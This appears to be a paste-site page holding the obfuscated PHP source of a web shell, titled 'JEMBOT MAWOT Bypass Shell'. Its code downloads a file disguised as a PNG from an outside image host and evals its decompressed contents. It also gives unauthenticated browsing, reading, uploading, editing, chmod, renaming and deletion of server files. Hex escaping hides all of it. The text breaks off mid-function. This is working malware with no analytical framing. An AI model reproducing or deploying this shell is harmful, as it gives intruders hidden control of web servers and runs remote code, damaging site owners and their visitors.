SHOW:
|
|
- or go back to the newest paste.
| 1 | - | <?php ${"\x47LO\x42\x41L\x53"}["\x71\x6b\x62\x63\x6bd\x75\x71kop"]="\x69\x6e\x66\x6f";${"\x47\x4cO\x42\x41L\x53"}["\x64\x75\x71\x67\x68\x69u\x6b\x6c\x68\x65"]="\x70\x65rm\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x72\x75p\x70bx\x78"]="s\x69\x7a\x65";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x72\x78\x69\x62q\x6c\x77\x66\x6c"]="\x73ca\x6e\x64i\x72";${"GL\x4f\x42\x41\x4cS"}["b\x75y\x6f\x63\x64\x73g"]="\x64i\x72";${"G\x4cO\x42\x41L\x53"}["\x6b\x6bi\x78\x62\x6d\x72\x75"]="\x69\x64";${"\x47\x4c\x4f\x42\x41\x4cS"}["kp\x71\x76\x72\x74s\x6e"]="i";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6e\x6a\x65\x73\x75\x70\x64\x76"]="\x70a\x74";${"\x47\x4c\x4f\x42AL\x53"}["\x6cs\x62\x69\x68n"]="\x70\x61t\x68\x73";${"\x47L\x4f\x42A\x4c\x53"}["x\x71\x77\x68\x6f\x75"]="\x70ath";${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6c\x6dn\x6e\x72\x69\x75\x63\x75\x78"]="\x76\x61\x6c\x75\x65";${"\x47\x4cO\x42\x41L\x53"}["a\x69\x6c\x66\x6a\x78d"]="\x6be\x79";set_time_limit(0);${"\x47\x4cO\x42A\x4cS"}["\x77\x76\x64\x78r\x6bd\x62t"]="\x69c\x6fn";error_reporting(0);$tsemiregy="\x69c\x6fn";if(get_magic_quotes_gpc()){foreach($_POST as${${"GL\x4f\x42\x41\x4cS"}["\x61ilf\x6a\x78d"]}=>${${"\x47\x4cOBA\x4c\x53"}["jlm\x6en\x72\x69u\x63\x75x"]}){$_POST[${${"G\x4cOBA\x4cS"}["a\x69l\x66j\x78\x64"]}]=stripslashes(${${"\x47LO\x42\x41L\x53"}["j\x6cm\x6en\x72i\x75\x63\x75\x78"]});}}${$tsemiregy}=file_get_contents("\x68t\x74ps://im\x61ge.\x69\x62b.\x63\x6f/c\x74\x33Z\x72\x6e/\x69\x6edon\x65\x73\x69\x61\x5f\x69con.p\x6eg");eval(gzinflate(substr(${${"\x47\x4cO\x42\x41\x4c\x53"}["wvd\x78r\x6b\x64bt"]},1934)));echo"<\x21D\x4fCT\x59\x50E\x20\x48\x54\x4d\x4c>\n\x3cHTML>\n\x3cHEAD>\n\x3cli\x6e\x6b \x68\x72ef=\"\x22\x20\x72\x65\x6c\x3d\"\x73t\x79\x6ceshe\x65t\x22 \x74y\x70\x65\x3d\"\x74e\x78\x74/\x63\x73s\x22\x3e\n\x3c\x74i\x74le>\x4aEM\x42\x4fT M\x41W\x4f\x54 Byp\x61\x73s S\x68ell</tit\x6ce>\n<s\x74y\x6ce\x3e\n\x62o\x64y{\nf\x6fn\x74-fa\x6d\x69\x6c\x79:\x20\"\x52\x61\x63\x69\x6eg\x20\x53\x61ns\x20\x4f\x6ee\x22, c\x75rsi\x76e;\nba\x63kg\x72\x6f\x75\x6e\x64-colo\x72: \x23\x656e6e\x36;\n\x74e\x78t-\x73hadow:\x30\x70\x78 0p\x78\x201\x70\x78\x20#75\x375\x37\x35\x3b\n}\n#\x63o\x6e\x74\x65\x6et\x20\x74\x72:hover{\n\x62\x61c\x6b\x67ro\x75nd-co\x6c\x6fr:\x20#6\x33\x36263;\nte\x78\x74-\x73had\x6f\x77:\x30\x70\x78\x200p\x78\x2010p\x78\x20\x23\x66\x66f;\n}\n#\x63o\x6e\x74\x65n\x74 \x2e\x66ir\x73t{\n\x62a\x63\x6bgr\x6fu\x6e\x64-col\x6f\x72:\x20s\x69\x6c\x76er\x3b\n}\n#\x63on\x74\x65n\x74 \x2ef\x69rs\x74:hov\x65r{\nback\x67\x72o\x75n\x64-\x63\x6fl\x6fr:\x20\x73\x69\x6c\x76\x65\x72;\nt\x65\x78\x74-\x73\x68a\x64ow:\x30px\x20\x30\x70x\x201\x70x\x20\x23757\x35\x375;\n}\ntab\x6ce{\n\x62\x6f\x72\x64\x65r: \x31px \x23\x300\x30000 d\x6ft\x74e\x64\x3b\n}\nH\x31{\n\x66\x6fn\x74-fa\x6d\x69\x6c\x79: \x22R\x79e\",\x20\x63u\x72\x73iv\x65\x3b\n}\na{\nco\x6co\x72:\x20\x23\x300\x30\x3b\ntext-\x64ecor\x61\x74i\x6fn:\x20n\x6f\x6ee\x3b\n}\n\x61:ho\x76\x65r{\nco\x6co\x72:\x20\x23f\x66f;\n\x74\x65x\x74-s\x68\x61\x64\x6fw:\x30px \x30\x70\x78\x20\x31\x30\x70x #\x66\x66\x66f\x66\x66;\n}\n\x69\x6e\x70\x75\x74,se\x6c\x65\x63t,\x74\x65xta\x72ea{\n\x62\x6fr\x64\x65\x72:\x201px\x20#\x3000\x3000\x20\x73\x6fl\x69d;\n-\x6d\x6f\x7a-bo\x72de\x72-\x72\x61dius:\x20\x35\x70x\x3b\n-\x77\x65bk\x69\x74-b\x6frder-r\x61d\x69us:5px\x3b\n\x62o\x72\x64\x65\x72-\x72\x61\x64\x69u\x73:5p\x78\x3b\n}\n</s\x74\x79\x6ce>\n\x3c/\x48E\x41\x44>\n\x3c\x42\x4fD\x59>\n<H\x31\x3e\x3cc\x65\x6et\x65\x72\x3eJE\x4d\x42O\x54 MA\x57O\x54\x20\x42\x79\x70\x61s\x73\x20Sh\x65l\x6c</\x63en\x74er>\x3c/H1>\n\x3cta\x62\x6c\x65 w\x69\x64\x74h\x3d\x227\x300\" b\x6f\x72d\x65r=\x22\x30\x22\x20\x63\x65l\x6cp\x61\x64d\x69ng\x3d\x223\"\x20c\x65\x6c\x6c\x73\x70ac\x69\x6e\x67=\"\x31\x22\x20a\x6c\x69gn\x3d\x22ce\x6e\x74\x65\x72\"\x3e\n<\x74\x72><\x74\x64>\x43u\x72r\x65n\x74\x20\x50at\x68 : ";if(isset($_GET["\x70\x61\x74h"])){${"GLO\x42\x41\x4c\x53"}["\x70ne\x7a\x69\x77d"]="\x70at\x68";${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x6e\x65\x7a\x69\x77d"]}=$_GET["\x70\x61\x74h"];}else{${${"G\x4c\x4f\x42\x41L\x53"}["\x78qw\x68o\x75"]}=getcwd();}${"\x47\x4c\x4fBA\x4cS"}["\x61\x76q\x65\x73e\x6ca\x62\x6f\x6d\x75"]="\x69\x64";${${"\x47LO\x42\x41\x4c\x53"}["\x78q\x77\x68\x6f\x75"]}=str_replace("\\","/",${${"\x47\x4c\x4f\x42\x41LS"}["x\x71\x77\x68ou"]});${"\x47\x4cOB\x41\x4c\x53"}["\x62\x70\x6c\x64\x79\x73"]="p\x61\x74";${${"\x47\x4cOBA\x4c\x53"}["\x6cs\x62i\x68\x6e"]}=explode("/",${${"\x47\x4c\x4f\x42A\x4cS"}["\x78qwhou"]});foreach(${${"G\x4c\x4fBA\x4cS"}["l\x73\x62\x69h\x6e"]} as${${"\x47L\x4f\x42\x41\x4c\x53"}["a\x76qe\x73el\x61\x62o\x6d\x75"]}=>${${"G\x4cO\x42A\x4c\x53"}["\x62p\x6c\x64\x79\x73"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x6a\x77fd\x6a\x69\x61\x77"]="\x69";$ujnafpnu="\x69\x64";if(${${"\x47LO\x42\x41\x4c\x53"}["n\x6a\x65\x73u\x70d\x76"]}==""&&${$ujnafpnu}==0){$yqgngcrxfqd="a";${$yqgngcrxfqd}=true;echo"<\x61\x20\x68re\x66=\"?pa\x74\x68\x3d/\"\x3e/\x3c/\x61>";continue;}$hpgoxhuxxav="\x69\x64";if(${${"G\x4c\x4fB\x41\x4cS"}["\x6eje\x73\x75\x70\x64\x76"]}=="")continue;echo"<\x61\x20hr\x65f\x3d\x22?\x70ath\x3d";${"G\x4cO\x42\x41\x4c\x53"}["n\x71c\x7a\x76\x72nn\x64\x72\x6a"]="p\x61\x74";for(${${"\x47\x4cO\x42ALS"}["\x63j\x77f\x64\x6ai\x61w"]}=0;${${"G\x4c\x4fB\x41\x4c\x53"}["k\x70\x71\x76\x72\x74sn"]}<=${$hpgoxhuxxav};${${"GL\x4fB\x41LS"}["\x6b\x70\x71\x76\x72\x74s\x6e"]}++){$uxmvngp="\x69";echo"$paths[$i]";if(${$uxmvngp}!=${${"G\x4c\x4fBALS"}["\x6b\x6b\x69\x78b\x6d\x72\x75"]})echo"/";}echo"\"\x3e".${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x71c\x7a\x76rnn\x64rj"]}."</a>/";}echo"\x3c/td\x3e\x3c/t\x72\x3e<t\x72><\x74\x64\x3e";if(isset($_FILES["\x66ile"])){$pptsenxi="\x70\x61\x74\x68";if(copy($_FILES["file"]["tm\x70\x5fn\x61m\x65"],${$pptsenxi}."/".$_FILES["\x66i\x6ce"]["n\x61\x6de"])){echo"\x3cfo\x6et\x20\x63o\x6c\x6fr=\x22\x67r\x65\x65n\"\x3eF\x69\x6c\x65\x20\x55\x70l\x6f\x61\x64ed.</\x66\x6f\x6et\x3e\x3cbr\x20/>";}else{echo"\x3c\x66o\x6et \x63ol\x6f\x72\x3d\x22red\"\x3e\x46\x69l\x65 U\x70\x6c\x6fad \x45\x72\x72\x6fr.</fo\x6e\x74><\x62r\x20/>";}}echo"\x3c\x66orm\x20e\x6e\x63t\x79\x70\x65=\x22mu\x6c\x74i\x70\x61r\x74/form-da\x74\x61\" \x6d\x65th\x6f\x64=\x22PO\x53T\"\x3e\n\x55p\x6c\x6f\x61\x64 \x46\x69\x6ce\x20: \x3c\x69n\x70ut\x20typ\x65\x3d\x22\x66il\x65\x22 na\x6de=\"fi\x6ce\" />\n\x3cin\x70u\x74 \x74\x79p\x65=\x22\x73\x75\x62\x6dit\" v\x61\x6cu\x65\x3d\"u\x70l\x6fad\x22\x20/\x3e\n</\x66o\x72m>\n\x3c/\x74\x64\x3e</tr>";if(isset($_GET["\x66\x69\x6c\x65src"])){echo"\x3c\x74r\x3e\x3c\x74\x64\x3e\x43u\x72\x72\x65nt F\x69le\x20:\x20";echo$_GET["f\x69\x6c\x65s\x72\x63"];echo"\x3c/t\x72\x3e</td></ta\x62\x6ce\x3e\x3cbr /\x3e";echo("<\x70re\x3e".htmlspecialchars(file_get_contents($_GET["\x66\x69\x6ces\x72\x63"]))."</pre>");}elseif(isset($_GET["\x6f\x70\x74i\x6fn"])&&$_POST["\x6fp\x74"]!="d\x65let\x65"){echo"</\x74\x61ble\x3e\x3cbr /\x3e\x3c\x63en\x74\x65r>".$_POST["p\x61\x74\x68"]."\x3c\x62r\x20/>\x3cbr /\x3e";if($_POST["opt"]=="c\x68\x6d\x6fd"){if(isset($_POST["p\x65r\x6d"])){if(chmod($_POST["p\x61th"],$_POST["p\x65rm"])){echo"\x3cf\x6fn\x74\x20\x63\x6f\x6c\x6fr\x3d\x22\x67\x72ee\x6e\x22\x3e\x43h\x61\x6e\x67\x65 Perm\x69s\x73\x69on\x20\x44\x6f\x6e\x65\x2e\x3c/f\x6fn\x74><\x62r />";}else{echo"\x3cf\x6fn\x74 \x63o\x6co\x72=\"r\x65d\"\x3eCh\x61n\x67\x65 \x50e\x72\x6d\x69ss\x69on \x45r\x72or.\x3c/font\x3e<br />";}}echo"\x3cfor\x6d\x20met\x68\x6f\x64=\"PO\x53\x54\"\x3e\nP\x65rmi\x73s\x69on\x20:\x20<input\x20\x6eam\x65\x3d\"\x70\x65\x72m\"\x20t\x79p\x65\x3d\x22\x74ext\x22 si\x7a\x65\x3d\"\x34\x22\x20\x76\x61\x6c\x75e\x3d\x22".substr(sprintf("\x25\x6f",fileperms($_POST["p\x61\x74\x68"])),-4)."\x22 /\x3e\n\x3ci\x6eput\x20ty\x70\x65=\x22\x68idd\x65\x6e\"\x20\x6e\x61\x6d\x65\x3d\"\x70a\x74\x68\" \x76\x61\x6cue=\"".$_POST["pa\x74\x68"]."\x22\x3e\n\x3c\x69\x6e\x70ut\x20type\x3d\"\x68id\x64e\x6e\" \x6ea\x6d\x65\x3d\"o\x70t\"\x20\x76a\x6cue=\x22ch\x6d\x6fd\x22\x3e\n\x3ci\x6epu\x74 t\x79p\x65=\x22subm\x69t\" val\x75\x65=\x22Go\x22\x20/\x3e\n\x3c/f\x6frm\x3e";}elseif($_POST["o\x70\x74"]=="\x72\x65n\x61m\x65"){if(isset($_POST["n\x65w\x6ea\x6d\x65"])){${"\x47\x4c\x4f\x42\x41LS"}["\x64\x75\x6d\x71\x6b\x6c"]="\x70a\x74h";if(rename($_POST["pa\x74\x68"],${${"\x47\x4c\x4fBA\x4cS"}["\x64u\x6d\x71\x6b\x6c"]}."/".$_POST["n\x65\x77n\x61\x6de"])){echo"\x3cf\x6fn\x74\x20\x63ol\x6fr\x3d\"\x67\x72\x65\x65\x6e\">\x43ha\x6ege \x4e\x61me S\x75\x63\x63es.</\x66\x6fn\x74>\x3cbr\x20/>";}else{echo"\x3c\x66ont\x20co\x6c\x6fr=\x22red\x22>\x43\x68\x61\x6e\x67e\x20\x4e\x61\x6de \x45\x72ro\x72.</f\x6fnt\x3e\x3c\x62r\x20/>";}$_POST["\x6e\x61m\x65"]=$_POST["newn\x61me"];}echo"<\x66o\x72m meth\x6f\x64=\x22\x50OS\x54\">\n\x4e\x65w \x4ea\x6de\x20:\x20<\x69\x6ep\x75\x74 \x6e\x61\x6de=\x22n\x65wn\x61me\"\x20\x74ype\x3d\"text\x22\x20size=\"20\x22\x20\x76\x61lue=\"".$_POST["name"]."\x22 />\n\x3ci\x6e\x70\x75t\x20\x74y\x70e\x3d\x22\x68\x69\x64den\x22\x20\x6ea\x6de\x3d\"path\x22\x20\x76\x61lu\x65=\"".$_POST["\x70\x61th"]."\x22\x3e\n<inp\x75t\x20t\x79pe\x3d\x22\x68idde\x6e\" n\x61\x6d\x65\x3d\x22\x6f\x70t\x22\x20val\x75\x65\x3d\"r\x65\x6e\x61m\x65\x22>\n<i\x6ep\x75\x74\x20type\x3d\x22sub\x6di\x74\" \x76\x61\x6cu\x65=\"Go\"\x20/>\n\x3c/form>";}elseif($_POST["opt"]=="e\x64\x69\x74"){if(isset($_POST["src"])){$fsxomfxswewi="f\x70";${"\x47\x4cO\x42\x41LS"}["\x68\x68\x77\x68\x68\x6e\x76\x77oc\x66"]="\x66\x70";${$fsxomfxswewi}=fopen($_POST["p\x61th"],"w");${"\x47L\x4f\x42\x41\x4cS"}["esm\x65on"]="\x66\x70";if(fwrite(${${"GL\x4f\x42AL\x53"}["\x68\x68\x77\x68\x68\x6e\x76\x77o\x63f"]},$_POST["src"])){echo"\x3c\x66\x6fn\x74 colo\x72=\"gree\x6e\">\x45di\x74\x20F\x69l\x65\x20\x53\x75c\x63\x65\x73</fo\x6e\x74\x3e\x3c\x62r />";}else{echo"<\x66o\x6et\x20col\x6f\x72=\"\x72e\x64\"\x3e\x45\x64it\x20F\x69\x6c\x65\x20Er\x72or\x3c/\x66\x6f\x6et><br /\x3e";}fclose(${${"\x47\x4c\x4f\x42\x41LS"}["\x65s\x6de\x6f\x6e"]});}echo"\x3cfo\x72\x6d \x6de\x74h\x6fd=\"\x50\x4fS\x54\x22\x3e\n\x3ct\x65\x78t\x61\x72e\x61 \x63o\x6c\x73=\x380 \x72ow\x73\x3d\x320 n\x61\x6d\x65=\x22s\x72\x63\">".htmlspecialchars(file_get_contents($_POST["\x70a\x74\x68"]))."</\x74e\x78\x74\x61re\x61\x3e\x3cb\x72\x20/>\n<in\x70\x75t t\x79\x70\x65\x3d\x22hi\x64d\x65\x6e\" na\x6de\x3d\x22\x70a\x74\x68\x22 va\x6cue=\"".$_POST["\x70at\x68"]."\"\x3e\n<i\x6e\x70\x75\x74 type=\x22hi\x64de\x6e\x22 \x6ea\x6de=\"\x6f\x70t\x22 v\x61lu\x65=\"\x65\x64i\x74\"\x3e\n\x3cin\x70\x75\x74 \x74y\x70\x65=\"\x73\x75b\x6dit\x22 \x76\x61l\x75e=\x22G\x6f\"\x20/>\n</\x66or\x6d>";}echo"\x3c/c\x65nte\x72>";}else{${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x70\x69z\x64p\x66\x70\x75\x68x\x6e"]="\x73\x63a\x6edir";${"G\x4c\x4fB\x41LS"}["\x70cu\x73\x70\x6c\x68"]="sc\x61\x6ed\x69\x72";echo"</\x74a\x62\x6c\x65\x3e\x3c\x62\x72 />\x3c\x63en\x74\x65r>";if(isset($_GET["\x6f\x70\x74\x69\x6fn"])&&$_POST["op\x74"]=="del\x65t\x65"){if($_POST["\x74\x79pe"]=="\x64\x69\x72"){if(rmdir($_POST["\x70\x61t\x68"])){echo"<font \x63olor\x3d\x22g\x72\x65e\x6e\x22\x3e\x44\x65let\x65\x20Dir S\x75\x63\x63\x65s.</\x66ont><\x62\x72\x20/\x3e";}else{echo"<\x66\x6f\x6e\x74 c\x6f\x6co\x72=\x22re\x64\x22>Dele\x74\x65\x20Dir E\x72ror\x2e\x3c/fo\x6e\x74>\x3cb\x72 /\x3e";}}elseif($_POST["\x74\x79\x70\x65"]=="fi\x6c\x65"){if(unlink($_POST["\x70\x61\x74h"])){echo"<\x66o\x6et co\x6c\x6fr=\"\x67\x72\x65en\"\x3e\x44\x65\x6cete Fi\x6ce\x20S\x75c\x63es.\x3c/\x66o\x6e\x74\x3e\x3c\x62r /\x3e";}else{echo"<\x66\x6fn\x74 col\x6fr\x3d\x22r\x65\x64\"\x3e\x44e\x6c\x65te \x46i\x6ce Er\x72\x6fr\x2e</fon\x74><\x62\x72\x20/\x3e";}}}echo"</\x63\x65\x6e\x74\x65\x72>";${${"\x47L\x4f\x42AL\x53"}["\x6a\x70\x69z\x64\x70fp\x75h\x78\x6e"]}=scandir(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78qw\x68ou"]});${"\x47LO\x42ALS"}["\x6fbi\x65\x6a\x71\x6b\x67"]="\x64i\x72";echo"<\x64\x69\x76 id=\"co\x6et\x65\x6e\x74\">\x3ct\x61b\x6c\x65 \x77i\x64th=\"\x37\x30\x30\"\x20bo\x72\x64e\x72=\"\x30\" \x63e\x6clp\x61\x64d\x69\x6e\x67=\x22\x33\"\x20ce\x6cl\x73\x70a\x63\x69\x6eg\x3d\"\x31\"\x20a\x6ci\x67\x6e\x3d\"ce\x6et\x65\x72\"\x3e\n\x3c\x74\x72 c\x6ca\x73s\x3d\x22\x66i\x72st\">\n<t\x64\x3e\x3c\x63en\x74\x65r\x3e\x4e\x61me\x3c/ce\x6et\x65r>\x3c/t\x64>\n<td><\x63\x65\x6e\x74e\x72\x3eSize</\x63e\x6eter\x3e\x3c/t\x64\x3e\n\x3ctd><c\x65n\x74\x65\x72\x3e\x50er\x6di\x73\x73\x69on\x73\x3c/\x63\x65nte\x72></\x74\x64>\n\x3c\x74d><c\x65n\x74\x65\x72\x3e\x4f\x70\x74ion\x73\x3c/\x63e\x6e\x74e\x72\x3e\x3c/td\x3e\n</\x74r\x3e";foreach(${${"G\x4cOBA\x4cS"}["\x70c\x75\x73\x70\x6ch"]} as${${"\x47LO\x42\x41\x4c\x53"}["ob\x69e\x6a\x71\x6b\x67"]}){if(!is_dir("$path/$dir")||${${"\x47L\x4f\x42\x41\x4cS"}["\x62\x75\x79\x6f\x63\x64s\x67"]}=="."||${${"\x47L\x4fB\x41\x4c\x53"}["b\x75y\x6f\x63\x64s\x67"]}==".\x2e")continue;echo"\x3c\x74r\x3e\n<\x74\x64><a\x20h\x72ef\x3d\"?pat\x68\x3d$path/$dir\">$dir\x3c/a\x3e\x3c/td>\n<t\x64><cen\x74er\x3e--\x3c/c\x65\x6e\x74\x65\x72\x3e</td>\n\x3ctd>\x3c\x63\x65\x6e\x74\x65r>";if(is_writable("$path/$dir"))echo"\x3cfont\x20\x63olor\x3d\"g\x72\x65\x65\x6e\"\x3e";elseif(!is_readable("$path/$dir"))echo"<f\x6f\x6e\x74\x20\x63\x6f\x6c\x6fr=\x22r\x65\x64\x22>";echo perms("$path/$dir");if(is_writable("$path/$dir")||!is_readable("$path/$dir"))echo"\x3c/\x66\x6f\x6e\x74\x3e";echo"</\x63\x65\x6e\x74er></t\x64>\n\x3c\x74d\x3e<ce\x6et\x65\x72\x3e<\x66\x6f\x72\x6d m\x65th\x6f\x64=\x22\x50O\x53\x54\x22 \x61\x63ti\x6fn=\"?optio\x6e&pa\x74\x68=$path\x22>\n<\x73ele\x63t\x20n\x61\x6d\x65\x3d\"\x6f\x70\x74\x22\x3e\n\x3co\x70ti\x6fn v\x61l\x75\x65\x3d\x22\">\x3c/\x6f\x70t\x69o\x6e\x3e\n<\x6fp\x74i\x6f\x6e\x20v\x61lue=\"\x64\x65le\x74e\x22>\x44\x65\x6c\x65\x74\x65\x3c/\x6fp\x74\x69\x6f\x6e>\n<op\x74\x69\x6fn \x76al\x75e=\x22\x63h\x6d\x6fd\x22\x3eChmod</op\x74\x69on>\n<opt\x69o\x6e\x20v\x61\x6cu\x65\x3d\"rename\x22\x3eR\x65\x6e\x61m\x65</\x6f\x70ti\x6fn>\n\x3c/s\x65lect>\n<i\x6e\x70ut t\x79\x70\x65=\"h\x69dd\x65n\" \x6eam\x65\x3d\"\x74\x79p\x65\"\x20v\x61lue\x3d\"\x64ir\x22\x3e\n<\x69n\x70ut\x20ty\x70e\x3d\x22\x68i\x64de\x6e\x22 \x6ea\x6d\x65=\"\x6eame\x22 va\x6cu\x65=\x22$dir\">\n<\x69npu\x74\x20\x74y\x70\x65=\x22\x68\x69\x64den\x22 \x6ea\x6d\x65=\x22\x70\x61th\x22 v\x61\x6cu\x65\x3d\"$path/$dir\x22\x3e\n\x3c\x69\x6e\x70u\x74 \x74\x79pe=\x22su\x62mit\x22\x20\x76a\x6cue=\x22>\"\x20/\x3e\n\x3c/f\x6f\x72\x6d></ce\x6e\x74\x65r></\x74d\x3e\n</\x74r>";}echo"<\x74\x72 cla\x73s\x3d\"\x66\x69\x72st\x22\x3e<\x74d\x3e</t\x64\x3e\x3ctd>\x3c/td>\x3c\x74d\x3e</td\x3e\x3c\x74\x64\x3e\x3c/td></\x74r>";${"G\x4cOB\x41\x4cS"}["l\x6b\x6bt\x63c\x6au\x6ba"]="f\x69\x6c\x65";foreach(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69\x72x\x69b\x71\x6c\x77\x66l"]} as${${"G\x4c\x4f\x42A\x4c\x53"}["\x6ckkt\x63\x63\x6a\x75\x6ba"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x6cx\x6b\x71\x71\x63"]="\x73i\x7a\x65";if(!is_file("$path/$file"))continue;${${"\x47LO\x42\x41\x4c\x53"}["\x72up\x70\x62\x78\x78"]}=filesize("$path/$file")/1024;$fmlgtwfiafr="\x73i\x7a\x65";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72upp\x62\x78\x78"]}=round(${$fmlgtwfiafr},3);if(${${"G\x4c\x4f\x42\x41L\x53"}["\x66\x6c\x78k\x71\x71\x63"]}>=1024){${${"\x47LO\x42A\x4c\x53"}["\x72\x75p\x70bxx"]}=round(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x75\x70p\x62\x78\x78"]}/1024,2)." M\x42";}else{${"\x47L\x4fB\x41\x4cS"}["u\x74x\x73\x6a\x66\x77y\x78\x6c"]="\x73i\x7a\x65";$oxodrlrevas="s\x69\x7a\x65";${$oxodrlrevas}=${${"GLO\x42AL\x53"}["\x75\x74\x78\x73\x6a\x66\x77y\x78l"]}."\x20\x4b\x42";}echo"<\x74\x72\x3e\n<t\x64><a \x68\x72e\x66\x3d\"?fil\x65src\x3d$path/$file&\x70\x61\x74h=$path\">$file\x3c/a></\x74d\x3e\n<\x74d>\x3c\x63\x65\x6e\x74e\x72>".${${"\x47LO\x42\x41\x4c\x53"}["\x72u\x70\x70\x62x\x78"]}."\x3c/cen\x74\x65r\x3e</t\x64>\n<td\x3e\x3ccen\x74\x65r\x3e";if(is_writable("$path/$file"))echo"<\x66o\x6e\x74\x20co\x6c\x6fr\x3d\x22\x67ree\x6e\x22>";elseif(!is_readable("$path/$file"))echo"<\x66o\x6e\x74 col\x6f\x72\x3d\"\x72\x65d\x22>";echo perms("$path/$file");if(is_writable("$path/$file")||!is_readable("$path/$file"))echo"\x3c/f\x6fn\x74>";echo"\x3c/c\x65\x6e\x74\x65r\x3e\x3c/\x74\x64\x3e\n<td\x3e<ce\x6eter\x3e\x3cfo\x72\x6d met\x68\x6fd\x3d\x22\x50OS\x54\x22\x20a\x63tion=\"?o\x70\x74ion&pat\x68\x3d$path\">\n<sele\x63\x74\x20na\x6de=\"\x6fp\x74\x22>\n<\x6f\x70t\x69on\x20\x76al\x75e=\x22\x22\x3e\x3c/opti\x6fn>\n<\x6f\x70\x74i\x6fn v\x61\x6cu\x65=\x22de\x6ce\x74e\">Del\x65\x74e\x3c/\x6fp\x74\x69\x6f\x6e\x3e\n\x3copti\x6f\x6e \x76\x61lu\x65\x3d\"\x63\x68\x6dod\"\x3e\x43h\x6dod\x3c/opt\x69\x6f\x6e\x3e\n<\x6fp\x74\x69\x6fn va\x6cu\x65=\x22\x72en\x61\x6de\x22\x3eRe\x6e\x61\x6d\x65</op\x74\x69\x6f\x6e>\n<o\x70ti\x6f\x6e v\x61lue=\x22\x65d\x69t\">Edi\x74</\x6fpt\x69\x6fn\x3e\n</s\x65le\x63\x74\x3e\n<i\x6e\x70\x75t\x20\x74\x79p\x65\x3d\x22\x68id\x64e\x6e\x22\x20na\x6d\x65\x3d\"typ\x65\x22 v\x61lue=\"\x66\x69l\x65\"\x3e\n<in\x70ut \x74ype=\"hidd\x65n\" \x6ea\x6d\x65\x3d\x22\x6eame\"\x20\x76a\x6cu\x65\x3d\x22$file\x22>\n\x3c\x69np\x75\x74\x20ty\x70\x65\x3d\x22hidd\x65n\x22 \x6e\x61m\x65=\"\x70a\x74h\"\x20val\x75\x65=\x22$path/$file\">\n\x3cinp\x75t\x20ty\x70\x65\x3d\x22\x73u\x62\x6dit\" \x76\x61l\x75e=\x22\x3e\" />\n\x3c/fo\x72\x6d></c\x65\x6eter></t\x64\x3e\n</\x74r\x3e";}echo"\x3c/\x74\x61bl\x65>\n\x3c/d\x69v\x3e";}echo"<br\x20/>xxxxx<\x66o\x6et\x20c\x6fl\x6fr=\x22\x72\x65d\"\x3e\x31\x2e\x30\x3c/f\x6fn\x74\x3e,\x20\x58\x58X <fo\x6e\x74\x20col\x6fr=\"red\x22\x3e\x78x\x78\x78</fo\x6et>\n</BODY\x3e\n</\x48\x54ML\x3e";function perms($file){$ubdpzrgqusi="pe\x72\x6d\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x71\x77on\x6a\x71\x66u"]="\x69n\x66\x6f";${"\x47LO\x42A\x4c\x53"}["\x63u\x67\x6d\x76\x6e\x71\x6d\x79"]="perm\x73";$ubrulvebz="\x69\x6ef\x6f";$rvcpxlyiib="\x66il\x65";${"\x47\x4c\x4f\x42AL\x53"}["t\x73\x69\x6cpl"]="p\x65rms";${"\x47L\x4f\x42AL\x53"}["\x63\x65\x76n\x62\x6e"]="\x70erms";$chberghm="p\x65\x72\x6d\x73";${${"G\x4c\x4fB\x41\x4c\x53"}["\x64u\x71\x67\x68\x69\x75\x6b\x6ch\x65"]}=fileperms(${$rvcpxlyiib});${"GL\x4fBALS"}["\x6f\x70\x75s\x62\x71"]="\x70\x65\x72m\x73";$ktnozweu="\x70\x65r\x6d\x73";${"G\x4c\x4fB\x41\x4cS"}["\x6f\x63\x75\x61\x69\x73\x65g\x6c\x6b"]="p\x65\x72\x6d\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6fmh\x63\x63\x6bq\x6f\x76\x71"]="\x70\x65r\x6d\x73";if((${${"\x47\x4c\x4f\x42\x41L\x53"}["c\x65\x76\x6e\x62\x6e"]}&0xC000)==0xC000){${${"\x47\x4cO\x42\x41L\x53"}["q\x6b\x62\x63\x6b\x64u\x71\x6b\x6f\x70"]}="s";}elseif((${$ktnozweu}&0xA000)==0xA000){${${"\x47L\x4f\x42\x41LS"}["\x71\x6bb\x63kdu\x71\x6b\x6f\x70"]}="\x6c";}elseif((${${"\x47\x4cOBA\x4c\x53"}["\x64uq\x67hi\x75\x6b\x6c\x68\x65"]}&0x8000)==0x8000){$oxfiddr="i\x6ef\x6f";${$oxfiddr}="-";}elseif((${${"\x47\x4c\x4fBA\x4c\x53"}["\x6f\x70\x75\x73b\x71"]}&0x6000)==0x6000){${${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6bb\x63\x6bd\x75q\x6bo\x70"]}="b";}elseif((${$chberghm}&0x4000)==0x4000){${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x6b\x62\x63\x6b\x64\x75qk\x6fp"]}="d";}elseif((${${"\x47\x4c\x4f\x42AL\x53"}["\x64u\x71\x67\x68\x69\x75\x6bl\x68e"]}&0x2000)==0x2000){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71k\x62\x63\x6b\x64u\x71\x6b\x6f\x70"]}="\x63";}elseif((${${"\x47LO\x42\x41LS"}["duq\x67h\x69\x75\x6blh\x65"]}&0x1000)==0x1000){${${"\x47\x4c\x4fB\x41\x4c\x53"}["q\x6b\x62\x63\x6b\x64\x75\x71\x6bop"]}="p";}else{${${"GL\x4f\x42\x41\x4c\x53"}["q\x6b\x62\x63\x6b\x64\x75q\x6bo\x70"]}="\x75";}${${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x6bb\x63\x6b\x64\x75qk\x6f\x70"]}.=((${$ubdpzrgqusi}&0x